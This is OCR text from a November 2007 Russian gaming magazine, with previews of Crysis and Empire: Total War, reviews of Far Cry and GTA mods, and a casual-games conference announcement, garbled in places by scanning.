День грядущий КОСТЮМ Молекулярный костюм вашего героя можно нас БРОНЯ Функция. 1ащита во время боя, восстановление после него. Потребление энергии: теряется при попадании, восстанавливается выест» • твоим щоровьем I родшнная так тика переключись в этот режим в укрыти$|с риском полу чить пулю в лоб - он восстановит тебя, когда ты нырнешь обратно Тактика помешанного: беги к ближайшему солдату противника его штыком Призрак прошлого: Как и в Halo, система регенерации очень проста. Нанокостюм (Crysis): заживляет любые повреж- J дения в течение нескольких секунд, самоза- ряжается. HEV (Half Life 2) требует регулярной подза- / 4 5' рядки батарей, спасает лишь от отравлений. СИЛА Функция: поднимайте, бросайте и бейте тяжелыми объектами, а также прыгайте на расстояние до б метров. Потребление энергии: при прыжках -- вы- сокое. Продуманная тактика, используй увели ченный прыжок, чтобы занять выгодную позицию или перейти на альтернативный маршрут Тактика помешанного: схвати противника за горло, швырни его в сослуживцев и раз делайся с ошарашенными врагами. Призрак прошлого: ты можешь использо- вать собственные руки в качестве гравита- ционного оружия. МАСКИРОВКА Функция: адаптирует цвет костюма под окружающую местность^ / lori>f(vi('HH<‘ тнертии. высокое при движении Продуманная тактика: лежи ничком и используй бесшумное оружие, чтобы незаметно поразить дистанционные цели. Тактика буинопомешанного: подберись поближе к врагу, пере ключись в режим «Сила» и размажь противника об стену. Призрак прошлого: Deus Ex. Прятаться легко и весело. Против Н Е V-костюма Гордона Фримена (Half- Life 2) Нанокостюм: практически полная невиди- мость даже на небольшом расстоянии, сложно разглядеть в движении. HEV: ярко оранжевый костюм Фримена не позволяет маскироваться СКОРОСТЬ Функция: увеличивает стандартную скорость бег Потребление энергии, очень высокое во время рывков ' Продуманная тактика: используй скорбеть для достижения укрытия Тактика буйнопомешанного: пронесись вслед за бронемашиной к врагам и порви их. Призрак прошлого: Stalker. Герой умеет'бегать быстрее мотоцикла. Против Н. Е. V. -костюма Гордона Фримена (Half Life 2) Нанокостюм ускорение до 40 миль в час. HEV: ускорения до 20 миль на время около 5^ • секунд. ► ты не сможешь сохранять в нем серьезное лицо, когда в руке гроздь бананов, которой ты собираешься прикончить корейского воина. Каждый сознательный игрок наверняка поинтересуется, как воспримет все эти чудеса его родной компьютер. Мы спросили Севата Ерли (Cevat Yerli), генерального директора компании Crytek, какой ком- пьютер наверняка потянет такую игрушку. Первое, что он назвал — два гигабайта «оперативки». Гигабайтный модуль, которым располагают большинство из нас, не осилит игровой мир такого масштаба. Следующий пункт в списке желаемых покупок — видео- карта GeForce 8800. Модель GTS в этой линейке значитель- но доступней, а по характе- ристикам не является таким уж шагом назад в сравнении с GTX. По словам Севата, Crysis пойдет на процессо- ре Core 2 Duo Е6600, чипе среднего уровня из линейки двуядерных процессоров Intel, который можно купить за 1300 гривен. Этого «движка» хватит, чтобы запустить Crysis на самых высоких настройках. Процессор Е6600, скорее всего, еще потеряет в цене к вы- ходу игры на рынок, потому спешить с его покупкой не со- ветую. Если же твой компьютер совсем не годен, и ты нуж- даешься еще и в новой «ма- теринке», придется здорово потратиться. Crysis имеет графические особенности, которые не смогут отображать компьютеры, выпущенные в текущем году. Севат полага- ет, что технологии «догонят» игру лишь через полтора года после релиза. Причин этому две: во-первых, игра сможет долго находиться на переднем плане игрового мира, а во-вто- рых, в Crytek работают насто- ящие маньяки, помешанные на графике. Когда затею уже практичес- ки удалось осуществить, глав- ный игровой дизайнер Crytek Бернд Димер (Bernd Diemer) обнаружил, что он может под- нять упавшее дерево и держать его перед собой, становясь абсолютно невидимым для А1. По словам Бернда, если бы команда разработчиков знала, 38 GAMER Ноябрь 2007
как невообразимо сложно бу- дет реализовать абсолютную разрушимость мира в Crysis, они бы и пытаться не стали, но теперь, после того, как они сделали это, всякий, кто игра- ет в Crysis — включая меня — вряд ли захочет вернуться к своим прежним игрушкам. Деревянное не кажется дере- вянным, если оно не трещит и разлетается, как в Crysis. На определенном этапе, прежде чем ты достигнешь ко- рабля пришельцев, его пассажиры ак- тивируют бортовое оружие, замора- живающее целый остров с целью адаптировать его под нравы инопланетян. Именно это они собираются сделать со всей нашей плане- той. Тропический рай острова превращается в сюрреалисти- ческую тундру, и пришельцы выходят наружу, окрепнув, — теперь они могут передвигать- ся по острову гораздо сво- боднее. Ваш отряд вынужден перегруппироваться, чтобы □сколки ледяной плоти пре- вращаются в шрапнель справиться с бешеным нати- ском этих гадов. Перед лицом более серьезной угрозы забыта даже вражда с корейцами — теперь вы активно продвигае- тесь к вражескому космолету как единая команда. Криогенное оружие при- шельцев может заморозить человека намертво. Костюмы спецназовцев, к числу которых относишься и ты, оснащены внутренним подо- гревом, и вы лишь бодро стряхиваете с себя ледышки, а вот корейцам с их потертой уни- формой повезло меньше. Под вы- стрелами их замерзшие тела рассыпаются на осколки, пре- вращаясь в смертельно опас- ную шрапнель. Пришельцы сдвинуты на температуре — они еще и слепы ко всему, кроме ин- фракрасного спектра. Это значит, что возле огня ты становишься практически невидимым для иноплане- тян. Но даже если ты припал к земле в самом темном углу, инопланетные гости видят тебя, если ты, конечно, не ис- пользуешь, входящий в функ- ции твоего наножилета режим маскировки, при котором температура поверхности тела снижается. Превращение тропических джунглей в хрупкую застыв- шую их копию только распаля- ет желание разнести все види- мое на кусочки. Но, по словам разработчиков Crytek, главное достоинство Crysis вовсе не в этом. Фишка — в необъятных просторах уровней игры, где герой может подолгу бродить, в Far Cry ты тоже долго блуж- даешь, прежде чем доберешься до искомого пункта, но уровни в Crysis на порядок масштаб- нее. к примеру, прохождение третьей миссии игры отняло у нас два с половиной часа. Это превращается в про- блему — на тщательное про- хождение тестировщик должен затратить целый день. Кстати, возвращаясь в игру после ► Ноябрь 2007 р GAMER 39
День грядущий МОДИФИКАЦИЯ БЕЗ ПРОГРАММИРОВАНИЯ Модифицировать игру силами пользователя настолько просто, что Crysis может революционизировать моддинговую сцену. 1Уровневый дизайнер Crytek Бен Бауэр (Ben Bauer) присоединился к нам, чтобы продемонстрировать, насколько легко подстроить игру под свой вкус. Самая приятная в этом штука - то, что все это в «движке» игры и ты можешь увидеть программу уровня целиком и переклю- читься на нее нажатием одной клавиши. Более того, уровень можно модифициро- вать прямо по ходу игры - Бен продемонс- трировал это на примере изменения мар- шрута корейского патруля. 2 Местность вообще можно тасовать, как колоду карт - ты можешь устанав- ливать новые здания там, где тебе забла- горассудится. Здесь даже есть редактор боевой техники, как в Spore, и он позволя- ет делать совершенно сумасшедшие вещи, - к примеру, устанавливать реактивный двигатель в вертолет. How Graph Fie Edit View ► H !► £2 Q * ’ * - WBtot простой пример не охва- тывает беспредельных воз- можностей модифицирования игры с помощью простых окошек и их связывания черточками. Ты можешь менять расположение и цвет солнца, ускорять ход времени, менять пого- ду и многое другое. Режим flowchart позволяет обычным игрокам созда- вать потрясающие сцены за считан- ные минуты, а прожженные геймеры получают больше возможностей для творчества, чем когда-либо. Нас ожидает нечто невероятное. ЗБен показал нам, как заставить корейского солдата отдать честь своему сослуживцу, на что тот должен ответить словесным приветствием. Для этого он переключился в режим flowchart (вы можете увидеть его вверху справа), найти строку управления солдатом и выбрать из списка его действий анимацию салютирования. Затем следует просто провести линию отсюда к списку действий в строке управления другим солдатом. Все, что осталось сделать - выбрать из списка действие разговора, и игровой «движок» поймет, что это действие должно активироваться в ответ на салютирование. 4 Это, конечно здорово, но как-то скучно, правда? «А можно сделать так, чтобы один парень отдал честь, а второй в ответ отстрелил ему голову?». Оказывается, можно, но Бен хотел знать причину. Ну, вдруг этот солдат уже всех достал своим салютированием, мало ли. В общем, строку свойств второго солдата 9 Признаться, у меня был неболь- шой опыт в искусстве игрового дизайна, но подобные вещи требуют значительной технической подкован- ности и длительного копания в спра- вочниках. Если даже тебе удастся что- то прописать, необходимо будет еще и скомпилировать это, скопировать новую карту в папку с готовыми карта- ми, подождать, пока загрузится игра, открыть консоль и загрузить карту, причем единственная ошибка синтак- сиса сведет на нет все усилия. В Crysis все модифицируется мгновенно, и результат можно проверить, не отхо- дя от кассы. Круто, очень круто. 8 Мне казалось, что все выглядит так просто, лишь когда в деле профессионал, которым, конечно же, является Бен. Но когда я сам взялся за редактирование, через 30 секунд мне уже не требовалось никаких подсказок. Блоки с коман- дами, которые увязываются друг с другом с помощью проводимых линий, просты, удивительно понят- ны и легки в управлении. Очистить лес, построить на его месте бункер, убедить корейских солдат занять его и подорвать его силой тысячи гранат - дело нескольких минут. необходимо модифицировать таким образом, чтобы он превращался во врага в ответ на салютирование. Вернувшись в игру, мы убедились, что бедняга, оказывающий знак уважения товарищу, по нашему наущению получает добрый заряд дроби в лицо. Он даже начинает сражаться с бывшим сослуживцем - отныне тот является официальным врагом, так что раненый солдат удерет в укрытие и будет стрелять и метать гранаты, пока предатель не умрет. 5 Бен превратился во что-то вроде нашего личного дизайнера игр. Далее он провел линию от опции «Тревога» для солдат к окошку, репрезентирующему обычный стол, расположенный рядом с ними. Он соединил опцию «Движение» со столом, и это дало ему маркер для указания точки, в которую Бен решил этот стол передвинуть. Он указал эту точку по другую сторону от солдат и установил скорость на тысячу. 6 После этого мы вернулись к игре, включив «Тревогу» для нашей парочки солдат. В ту же секунду неведомая сила швыряет стол, который до этого мирно стоял неподалеку, прямо на солдат, сшибая их в грязь банановой плантации. Не успели мы вдоволь насмеяться, как солдаты уже поднялись и отряхнулись. Теперь они уже не повторят фатальной ошибки с салютированием - замечательный динамичный AI игры уже усвоил урок. 7 Бен использует примеры, чтобы показать, что пользователю вполне по силам за короткое время превратить Crysis в совершенно дру- гую игру, похожую на сумасшедший дом с летающей мебелью. Поскольку с помощью режима flowchart можно генерировать новых врагов, моди- фицировать свойства нанокостюма. Ты вполне можешь превратить Crysis в ролевую игру. ► сохранения, ты моментально вспоминаешь, на чем закончил в прошлый раз — местность не- двусмысленно намекает на твои боевые подвиги. Чуткость среды не оставляет сомнений в том, что именно в этом месте взорвался твой джип до со- хранения. а если место не несет на себе печать разрушений, зна- чит, здесь ты еще здесь не был. Уровни в Crysis разбиты на участки с высокой концен- трацией вражеских войск. Эти участки в менее навороченной игре вполне претендовали бы на звание полноценных уровней (к примеру, группа бараков или плантация, оккупированная ко- рейскими солдатами). В Crysis все связано таким образом, что эти участки не могли бы быть отдельными уровнями — если у солдат в одном ла- гере есть время опо- вестить остальных и вызвать подкре- пление прежде, чем вы их уничтожите. Джипы и вертолеты доставят свежее пушечное мясо из одного лагеря в другой. Это можно обернуть в свою пользу, незаметно ры- ская вокруг лагеря и уничтожая постепенно прибывающие В финале сражение происходит в невесо- мости войска противника, которые бросили свое убежище для за- щиты собратьев, и напороться на ваши пули. Здесь Crysis снова явно перекликается с Far Cry, только в первом все гораздо круче, к при- меру, участки, где сюжет разворачива- ется в помещении, в Far Cry баналь- ны по сравнению с остальными эпи- зодами игры (особенно доста- лось от критиков финальным уровням Far Cry). Crysis лучше продуман и более сбаланси- рован — интерьер помещений '‘выполнен в соответствии с философией Crytek «Пришел, увидел, победил». Это значит, что уже при входе внутрь ты можешь охватить взглядом всю территорию помещения и вы- брать, как будешь действовать дальше, чтобы ее завоевать. Узкие коридоры и лестничные пролеты не позволяют этого делать, так что с ними поконче- но — в Crysis их нет. Знали ли в Crytek, насколько плохи последние уровни в Far Cry? Знали. Говоря об этом, Севат Ерли трижды употребил слово «ужасно» в одном пред- ложении. Севат отметил, что 40 Р GAMER Ноябрь 2007
Вспоминаем Descent — такого понятия, как «верх» * ' здесь попросту нет. НА БОРТУ ФЛАГМАНА е упоминалось, финальные сцены Crysis при отсутствии гравитации. Ты находишься борту космического корабля пришельцев, внутри toporo прлная невесомость. |Пришел1цы, которых можно увидеть на скриншотах с п^дыдущЬх страниц, - это на самом деле лишь <кэ, дгквыживания на нашей планете. «Голое» знетноеяудище ты впервые увидишь, как только 1Ь на бофт корабля, где они больше не нуждаются в металлическЖл скафандре. Пришельцы напоминают огромных перевивающихся медуз, плавающих в простлзьстве, июни чувствуют себя как дома в своей темной искривленной трехмерной среде. На этом скриншрте видно-что на корабле нет пола и потолка и подвож можно отдать отовсюду Пржерить на собственной шкуре не довелось, но, судя псюассказам зНврщих людей, отдача от любого выстреле внутри коржля заставляет игрока лететь назад, пока он не наткетс^на что^о. К счастью, тебе не придется летать как Теннисный мячик - магнитные ботинки помогут тебе уцепиться fa поверхность. Надеемся, клавиши управления г^зволят игроку управлгпь вращением своего тела в воздухе (как это было в ®scent). В противном случае, это может превратился в довольно тошнотв^эную процедуру. Если ты прострелишь распорки,строители могут обидеться. разработчики вынуждены были спешить — нужно было успеть запустить игру до выхода DOOM 3 и Half-Life 2. Поэто- му наименее значимые части игры остались немного недо- работанными — пострадали финальные уровни, до которых, по мнению разработчиков, все равно мало кто дошел бы. Финальная стадия игры— внутри инопланетного звездо- лета при полной невесомости, ц Разработчики хотели добиться устрашающего эффекта, но от- казались ради этого следовать по пути DOOM 3. Севат говорит, что если идти по этому пути, то игра будет одинаковой каждый раз и уже не сможет испугать после полного прохождения, а в игры производства Crytek можно играть бесконечно. Решение, найденное Crylek для этой проблемы, Севат называет «систематическим ужасом». Космический ко- раОль пришельцев сделан без противопоставления верха и низа, к тому же корпус усеян многочисленными нишами, укромными углами и щелями. Балансируя в пространстве дверного проема, охватывая взглядом все пространство по- мещения, ты все равно будешь подвержен многочисленным - сюрпризам, выплывающим на тебя из уголков, которые ты и не думал проверять. по словах? Севата, эту часть пройти очень непросто — она настолько опасна, что даже" опы тные тестировщики не мо- гут пройти ее за один раз без пауз на восстановление, и это, согласитесь, показатель. ТОМ ФРЭНСИС КРАТКАЯ ИНФОРМАЦИЯ И гатель Electronic Arts Разработшч Crytek Г www.crysis-game.cora Осязательная, красивая и забавная; настоя- щая игра будущего. Ноябрь 2007 GAMER 41
МСЮификация FAR CRY MOD First Contact: PlanetFall Сиреневый туман над нами проплывает или Far Cry Почему делают так мало модов Par Cry7 Ведь они неплохо получаются. Один только First Contact со сво- им сиреневым туманом чего стоит. В игре вы - биолог Люси Реа, которая при посадке на планету Хестиа потерпела крушение. Вас поражает необычная красота чу- жого мира, но первое впечатление обманчиво. Этот мир очень опасен. First Contact - это что-то наподобие шутера. Однако не надейтесь, что вы будете играть и потеть от страха, поскольку темп игры довольно умеренный. В основном, вы будете играть роль исследователя, ищущего следы исчезнувшей цивилизации. Насилие здесь - раритет. Мирных жителей, согласных вам помочь (естественно, небескорыстно) здесь намного больше, чем «плохих маль- чиков». Мод имеет несколько инте- ресных нововведений. Особенно привлекает внимание костюм пер- сонажа, который при сильных по- вреждениях модифицируется в ка- муфляж, чтобы помочь вам выжить. Несмотря на грубые прорисов- ки, ужасные функции сохранения и несколько слишком уж театраль- ных декораций, игра First Contact достойна вашего внимания. EHGAMER DOWNLOAD MANAGER Щдоомь Линк:snipurl.com/pfall Требования: Far Cry, пропатченый до v. 1.4 Практически каждый человек хотя бы раз в жизни играл в тетрис, даже не подозревая, что в тот момент он являлся частью многомиллионной армии поклонников казуальных игр. Что же это за странное и непривыч- ное словосочетание «казуальные игры»? Casual (от английского: случай- ный, нерегулярный, несерьезный, легкомысленный) games - это довольно хорошо развитая ин- дустрия во всем мире, доходы которой уже составляют около миллиарда долларов. Казуальная игра - это неболь- шой файл размером 10-30 МБ, который загружается непо- средственно из интернета или с компакт-диска и устанавливается на компьютере пользователя. Игра полностью соответствует принципу «легко играть, но трудно совершенствовать умения». То есть, уже в первые 3-5 минут' после начала игры человек поймет, как надо играть, хотя казуальные игры имеют довольно большой жан- ровый ассортимент: это и пазлы- головоломки, и аркады (игры на скорость и быстроту реакции), и логические игры, и настольные, и экономические симуляторы, и спортивные, и игры а-ля «Циви- лизация». Все офисы мира давно «болеют» казуалками в короткие перерывы, пока начальник от- вернулся. Джессика Тамз, директор Ассо- циации казуальных игр (CGA): «Казуальные игры всегда были «гадким утенком» игровой инду- стрии, но сейчас мы видим, как меняется рынок, и как индустрия казуальных игр принимает чет- кие формы, как участники рынка выбирают свои роли и некогда разобщенное сообщество стано- вится организованной структу- рой». На протяжении двух лет Ас- социация казуальных игр (CGA) проводит серию конференций для разработчиков, издателей и для всех интересующихся казу- альными играми. В прошлом году впервые конференцию провели в Киеве, куда съехались все раз- работчики казуальных игр из России, Украины и представители многих западных издателей. В этом году CGA совместно с крупнейшим украинским раз- работчиком казуальных игр, ком- панией «Абсолютист», проводят вторую конференцию CGA Kyiv 2007 в Президент-отеле «Киев- ском» (ул. Госпитальная, 12) с 17 по 19 октября. Ожидается приезд более 40 известнейших участников из США и Западной Европы, а также около 400 представите- Множество лекций, неформаль- ных тусовок, спонсорских вечери- нок — это все CCA Kyiv 2007! Всю информацию о конференции можно найти на сайте: WwyiLCfisualconnect.org Либо написав напрямую организаторам: Алла Храмцова: olla.khramtsova@casualconnect.org Luke Burtis: luke@casualconnect.org лей отечественного гейм-дева. Мнпжргтпл nffL'inii'i ___________ И X
МООификация Back to the Future Hill Valley Когда эта малышка одолевает 88 миль в час... Играя в Grand Theft Auto: Vice City, проживите жизнь главного героя одного из лучших ки- нофильмов всех времен. Самое тяжелое оружие, которое когда-либо держал в руках Мар- ти Мак Флай, — это фен. Поэтому толпа была шокирована, когда, прогуливаясь однажды по улице, он до смерти избил про- ститутку. .. Давите на педаль газа и - вперед, оставляя за собой огнен- ные следы Mod News Данный мод — воз- мутительный и нелепый, однако в этом и есть вся его прелесть. Ведь даже стандартный Hill Valley — просто безумен. Проект Total conversion охватывает всю трило- гию «Назад в будущее» и обещает путешествие по пяти различным эрам, которые вы сможете иссле- довать все свое свободное время. Кроме того, вы все так же сможете «развлекаться» случайными убий- ствами, и не только... Естественно, место встречи из- менить нельзя. Это все тот же Hill Valley, куда нельзя соваться без ядерного оружия и спортивной машины DeLorean цвета слоновой кости, оснащенной всеми при- бамбасами для путешествия во времени. Мод предостав- ляет вам три аксессуара: громоотвод 1985 года, ав- томобиль на воз- душной подушке с выдвигающимися колесами 2015 года и забавную шляпку 1885 года. И знаете, очень легко забыть обо всех недостатках игры, когда на приборной панели высвечи- ваются заветные «88 миль в час» и вы начинаете погружаться во временное пространство. Да, Hill Valley — это не про- сто огромный выбор различных транспортных средств, это еще и управление прыжками во времени. Набрав изрядное количество плу- тония (для атомного ядра) и много другой всевозможной дряни (для мистера Фьюжена), вы действи- тельно можете хорошо провести время. Пронзительные вопли, темные переулки и отчаянные попытки ва- шего героя исправить показания на приборной панели, упрямо высве- чивающей «50 миль в час», — все это не оставит вас равнодушными. Мод очень захватывающий. Все транспортные средства и внешний вид пешеходов соответствуют изо- браженным в игре эрам. Поверьте, вы не пожалеете о времени, кото- рое провели за игрой. SsGAMER КРАТКАЯ ИНФОРМАЦИЯ: Тип: Total conversion Линк: www.gtabttf.com Готов на 25% 44 GAMER Ноябрь 2007
Empire: Total War -- ---- - ----------------- ’азделяи и властвуй!Je «Если хочешь сохранить за собой' превосходство, изменяй военную тактику каждые десять лет». Последовав этому совету Наполеона, разработчики Total War вместо тяжеловесных кольчуг, массивных дубинок и открытых сражений решили ввести в игру грохочущие пушки, изящные мушкеты, корабли с развевающимися парусами, мужчин в элегантных шляпах, жестокую • колонизацию и революционные всплески. Впечатляет? В таком случае не откажите себе в удовольствии ознакомиться с более подробной информацией об Empire: Total War. л 46 Р GAMER Сентябрь 2007

НАПОЛЕОНОВСКИМ КОРТЕЖ ыпустив уже четыре серии Total War, основатель компании Creative Assembly Майк Симпсон и ее ведущий дизайнер Джеймс Расселл не собираются почивать на лаврах. Они решили продвигаться стезями истории по направлению к современности (а не к истокам, как было ранее) и в пятой игре подарить любителям гейминга возможность пережить эпоху величественной Империи. В офисе компании постоянно кипит работа. Даже сейчас, согласившись дать интервью журналу PC Gamer, скрупулезный Джеймс не выпускает из рук карандаш. Майк, к счастью, более разговорчивый. Он с удовольствием посвящает нас в тонкости компьютерного « слли подпустите кавалерию слишком оли^во, ваших солдат pay давят лошади противника» дизайна и программирования. Педантичного Джеймса и разговорчивого Майка объединяет одно общее пристрастие — разработка компьютерных игр, основанных на исторических событиях. Они говорят об игре и истории на одном дыхании, иллюстрируя каждую введенную ими тактику и стратегию ссылкой на реально происходившие события. Достаточно каких-то пару минут послушать Джеймса и Майка реплики, полные энтузиазма, как становится понятно, что ничего лучшего, чем Total War, и быть не может. Игры Total War представляют собой тонкое сочетание пошаговой глобальной стратегии с тактическими боями. В начале Empire, имея возможность отслеживать судьбы различных империй с этапа их основания, вы сможете увидеть процесс формирования коалиций, роскошные венчания принцесс с генералами, воодушевленными быстрыми победами армии. Но как только конфликт между империями достигнет своего апогея, ваша функция в игре изменится: вы уже не будете наблюдать за происходящим со стороны, а превратитесь в важного главнокомандующего. Теперь вам стоит только приказать, и кавалерия тут же сметет с лица земли вражеских стрельцов, а грозные пушки будут безудержно палить по укреплениям противника. Звание генерала получить в Империи легко, намного сложнее его удержать. Когда появятся новые виды оружия, главнокомандующим придется разработать новую технику ведения боя и выдумать свежие военные хитрости. Кроме того, к сухопутным сражениям наконец добавятся морские баталии, давно обещанные Creative Assembly, и это значительно разнообразит и украсит игру, но, вместе с тем, поставит перед генералами новые проблемы и задачи. Какова же цель враждующих держав? Действия в Империи разворачиваются в начале XVII - XVIII веков. Это, по мнению разработчиков, один из наиболее значительных периодов в истории европейских государств. Именно в это время Европу охватывает вихрь колонизаторской политики, вызванный стремлением мощных держав присвоить себе богатые земли, обнаруженные европейскими мореплавателями «за океаном». Только ©iStockphoto.com/samoylova Главные события эпохи Империи 1700-1820 1707: УНИЯ АНГЛИИ И ШОТЛАНДИИ Главы королевств Англии и Шотландии приняли решение объединиться, сделав Вестминстер резиденцией парламента образовавшейся Великобритании. За этим событием последовала волна возмущений со стороны жителей Шотландии. 1715: ПЕРВОЕ ЯКОБИТСКОЕ ВОССТАНИЕ Сторонники Иакова VII и потомки Дома Стюартов предприняли вооруженную акцию против представителей Ганноверской династии, правящей в Великобритании. Якобиты успели насладиться несколькими победами, прежде чем восстание было подавлено. 1701 (-1713): ВОЙНА ЗА ИСПАНСКОЕ НАСЛЕДСТВО После смерти Карла II возник конфликт за престолонаследование в Испании. Главные претенденты - Филипп, герцог Анжуйский и император Священной Римской Империи Леопольд I. 1712: ПЕРВАЯ ИНДУСТРИАЛЬНАЯ РЕВОЛЮЦИЯ Демонстрация паровой машины Томаса Ньюкомена ознаменовала наступление новой технологической, социально-экономической и культурной эпохи, которая началась в Великобритании и молниеносно распространилась по всему миру. 48 F GAMER Ноябрь 2007
вода, корабли и... человеческая подлость 1733 (-1735): ВОЙНА ЗА ПОЛЬСКОЕ НАСЛЕДСТВО После смерти Августа II Саксонского начинается война между двумя его приемниками — Станиславом Лещинским, ставленником Франции, и Эммануилом Португальским, пользовавшимся поддержкой русских, итальянских и прусских военных сил. 1756-1763: СЕМИЛЕТНЯЯ ВОЙНА Пруссия, Ганновер, Великобритания — с однбй стороны, Австрия, Франция, Россия, Швеция, Саксония — с другой, развязывают первую войну глобального характера. Абсолютным победителем поле военных действий покидает Великобритания. в начале Empire: Total War в ваши задачи как главнокомандующего армией будет входить необходимость «перекрасить» Европу в цвет своей нации, в дальнейшем же — все сражения перенесутся в Индию и Америку. К началу XVII века правители государств уже довольно четко усвоили непреложную истину достижения успеха в политике: чем больше территория страны, чем больше численность ее населения и, главное, чем большими богатствами она располагает, тем больше влияние этого государства при решении вопросов мирового значения. К позициям лидера стремились многие европейские державы, достигшие солидного уровня экономического развития. На тот момент существовало два способа усиления их мощи: объединение с себе подобными, в результате чего образовывались крупные империи и коалиции, и умелое ведение колонизаторской политики. Изначально силы противоборствующих армий в равной степени представлены кавалерийскими, стрелковыми и пехотными отрядами. Каждая составляющая этой воинственной троицы имеет свои преимущества и недостатки: быстрая кавалерия без особого труда обезвредит вражеских лучников, но не пройдет сквозь ряды вооруженных копьями пехотинцев; последние же, в свою очередь, слишком медлительны и легко уязвимы меткими стрелами лучников. Исход сражения зависит не только от умелого использования главнокомандующим различных типов воинских подразделений своей армии, но и от построения солдат во время атаки или защиты. «Пехота уже научилась давать должный отпор быстро надвигающейся кавалерии, выяснив, какой тип построения наиболее приемлем для этого, — отмечает Майк. — Оказалось, что коннице практически 1745: ВТОРОЕ ЯКОБИТСКОЕ ВОССТАНИЕ Война между Францией и Испанией воодушевляет Карла Эдуарда Стюарта на организацию нового восстания против Ганноверского правления. Несмотря на мощную поддержку местного населения и помощь французов, якобиты снова терпят поражение. 1756: ЧЕРНАЯ ЯМА В КАЛЬКУТТЕ В результате одного из сражений между британцами и местным населением Бенгалии в калькутскую тюрьму, получившую название «Черная яма», было брошено 146 британских солдат. 123 солдата к следующему утру умерли от удушья. Ноя
©iStockphoto.com/samoylova ► невозможно пробиться через отряды пехотинцев, выстроенных в форме квадрата. Зато квадратные расположения войск легко можно разбить, выставив пехоту в линию, что дает преимущество в количестве активных мушкетов (при квадратном построении стрелять в противника может только четверть солдат, а при линейном — все). Линейное расположение солдат также не является обязательным гарантом успеха. Против линии надвигающихся противников всегда можно выстроить колонну, которая (хотя и не дает возможности производить их быстрое массовое поражение) не позволит солдатам- защитникам стать легкодоступной мишенью для врагов». Ключевым (но далеко не единственным) сражением эпохи является битва под Ватерлоо. Нельзя было обойтись без нее и в игре. Майк поведал нам об одной интересной ситуации, которая будет иметь место в виртуальной битве под Ватерлоо, и является ярким примером того, с какими сложными тактическими задачами вам придется столкнуться в Empire. Когда минует примерно половина сражения, британская пехота займет позицию на возвышении, получив при этом явное преимущество перед отрядами французской армии, оставшимися внизу. «Сначала согнать противника с хребта попытается французская пехота, но британцам удастся сохранить свои позиции и оказать французам должный отпор. Тогда будет решено пустить в атаку кавалерию. У британцев ответным ударом будет перестройка своих отрядов в квадратные объединения и, в результате, они удачно избавятся от назойливых оппонентов», — рассказывает Майк. Как же французам добиться своего? Эту проблему надлежит решить вам, уважаемые игроки. «Осуществлять централизованное управление огнем поможет специальная кнопка для стрельбы, — добавляет Джеймс. — Очень важно активировать ее вовремя: если вы заставите своих солдат опустить мушкеты слишком рано, то не сможете нанести врагу существенного вреда, а если подпустите кавалерию слишком близко, не прекратив стрельбу, то рискуете раздавить своих же солдат поверженными ими лошадьми противника». Особой драматичностью обладают сражения, фокусирующиеся на захвате или удержании опорных сооружений. «Многие из них, к примеру, битва при Бленхайме, разгораются из мелких схваток», — сообщает Джеймс. Захватив одно здание, вы невольно захотите испробовать свои силы на втором, третьем, четвертом и так далее. Ситуацию приправляют трагичностью беспрестанно разрывающихся бомб и огромных пятен крови на жертвах. Но существует место, где от стрельбы и взрывов негде будет укрыться и 1765: ЗАКОН О ГЕРБОВОМ СБОРЕ В АМЕРИКЕ Четвертый британский акт о введении гербового сбора облагает всю американскую документацию, публицистику и даже игральные карты налогом за «охрану» колоний, осуществляемую их владельцем — Великобританией. 1770: «БОСТОНСКАЯ РЕЗНЯ» Британские солдаты открыли огонь по безоружным жителям Бостона, бросавшим в них снежки. В результате, погибло пять человек, а среди американцев стало все больше возрастать недовольство, что правят их страной иноземцы. 1773: «БОСТОНСКОЕ ЧАЕПИТИЕ» Снижение налога на ввоз товаров в Америку для Ост- Индской компании настроило против нее представите- лей местной торговой линии. Однажды колонисты про- брались на один из кораблей компании и сбросили в море упаковки с чаем стоимостью £ 10 ООО. 1770: КУК ПРОИЗВОДИТ ВЫСАДКУ В БУХТЕ БОТАНИ Известный исследователь Джеймс Кук бросил якорь в небольшой бухте восточного побережья Австралии. Пораженный богатством ее флоры и фауны, он назвал бухту Ботанической. С этого момента британцы будут частыми гостями южного континента. 1773: АКТ ОБ ОГРАНИЧЕНИИ ПРАВ ОСТ-ИНДСКОЙ КОМПАНИИ Британское правительство, обеспокоенное голодом, который охватил индийские колонии, в результате непродуманных действий Ост-Индской компании, принимает решение взять компанию под свой контроль. 50 PCGAMER Ноябрь 2007
некуда бежать. Это морские просторы. Бесспорно, впечатляет то, что вы — командующий военным кораблем, который бороздит океаны под градом разрывающихся снарядов. До ужаса впечатляет! XVIII век — подходящее время для обращения к морским баталиям, которых мы так долго ждали от Creative Assembly. Почему же их не было в Total War ранее? «Мы давно использовать их в своих целях». Кроме влияния ветра, на маневренности судов будут сказываться повреждения, которые нанес им противник. «Пушечные ядра могут оставлять пробоины в корпусе, разбивать мачты и переборки, рвать паруса, уничтожать членов экипажа», — объясняет Майк. В Империи вам предстоит управлять не отдельным кораблем, а целой флотилией, экипажам своих кораблей о том, в какую часть вражеского судна следует целиться и стоит ли идти на абордаж. В ваших силах применить линейное построение кораблей, предполагающее направление артиллерийских орудий на приближающиеся вражеские корабли, либо отдать команду осуществления дублирования, позволяющего расположить свои корабли по обе хотели ввести в игровую серию элементы морского боя, — сообщает Майк, — но это довольно большая и сложная работа. <<с / ЬцшеТные лара м&гцж осшабляшъ проо&инъс б fc&pnuc рауоибашъ лшЪжы и перео&р^ pfiantb паруса, унМж&жашъ 1лен&() экипажа» Мы взялись за нее только тогда, когда поняли, что сможем выполнить это задание на «отлично». Чтобы сделать морской пейзаж более реалистичным, понадобилось смоделировать различные колебания ветра, типы освещения и погодные условия. Особое значение для передвижения на парусном судне, естественно, будет играть ветер. Вы сможете легко заметить присутствие его порывов на водной глади и научитесь 1775: СРАЖЕНИЯ У ЛЕКСИНГТОНА И КОНКОРДА Длительные волнения, вызванные британской налоговой политикой и массовыми арестами революционеров, в конце концов привели к вспышке войны за независимость в США. Первые бои развернулись у Лексингтона и Конкорда. и точно так же, как и в сражениях на суше, овладеть рядом тактических приемов и военных хитростей. Для этого было бы неплохо посмотреть фильм «Хозяин морей: на краю земли», хотя бы вскользь ознакомиться с опытом ведения морских сражений адмирала Нельсона, да и базовую терминологию морского дела не мешало бы освоить, прежде чем примерять эполеты. Действия ваших подчиненных будут полностью зависеть от ваших приказов. Вы сможете осуществлять выбор необходимых боеприпасов, сообщать 1776: ДЕКЛАРАЦИЯ НЕЗАВИСИМОСТИ США Второй Континентальный Конгресс принял подготовленный 